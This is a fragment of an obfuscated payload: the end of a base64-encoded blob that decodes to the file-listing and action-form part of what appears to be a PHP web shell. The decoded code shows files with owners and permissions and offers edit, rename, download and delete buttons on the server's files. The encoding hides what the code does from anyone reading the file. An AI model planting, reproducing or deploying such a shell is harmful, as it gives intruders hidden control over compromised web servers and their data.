iCjx0cj4KCTx0ZD48aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrLWNvZGUtZmlsbCc+PC9pPjxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LXNlY29uZGFyeScgaHJlZj1cIj9maWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT48L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+JGZ0PC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiIuc3ooZmlsZXNpemUoJGZpbGUpKS4iPC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRmb3duZXI8Z3I+OjwvZ3I+JGZncnA8L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+IjsKaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzxncj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8cmQ+JzsKZWNobyBwKCIkcGF0aC8kZmlsZSIpOwppZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZ3I+PC9yZD48L3RkPic7CmVjaG8gIgoJPHRkIGNsYXNzPVwidGV4dC1jZW50ZXJcIj4KCQk8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CgkJCTxkaXYgY2xhc3M9XCJidG4tZ3JvdXBcIj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiZWRpdFwiPjxpIGNsYXNzPSdiaSBiaS1wZW5jaWwtc3F1YXJlJz48L2k+PC9idXR0b24+CgkJCQk8YnV0dG9uIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbVwiIG5hbWU9XCJvcHRcIiB2YWx1ZT1cImdhbnRpX25hbWFcIj48aSBjbGFzcz0nYmkgYmktcGVuY2lsLWZpbGwnPjwvaT48L2J1dHRvbj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiZG93bmxvYWRcIj48aSBjbGFzcz0nYmkgYmktZG93bmxvYWQnPjwvaT48L2J1dHRvbj4KCQkJCTxidXR0b24gY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtXCIgbmFtZT1cIm9wdFwiIHZhbHVlPVwiaGFwdXNcIj48aSBjbGFzcz0nYmkgYmktdHJhc2gtZmlsbCc+PC9pPjwvYnV0dG9uPgoJCQk8L2Rpdj4KCQkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZmlsZVwiPgoJCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZmlsZVwiPgoJCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZmlsZVwiPgoJCTwvZm9ybT4KCTwvdGQ+CjwvdHI+IjsKCX0KfQo/Pgo8L3Rib2R5Pgo8L3RhYmxlPgo8ZGl2IGNsYXNzPSd0ZXh0LXNlY29uZGFyeSc+JmNvcHk7IDw/cGhwIGVjaG8gIiAiLmRhdGUoJ1knKS4iICRfbiI7Pz48L2Rpdj4KPC9kaXY+CjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4K')); } });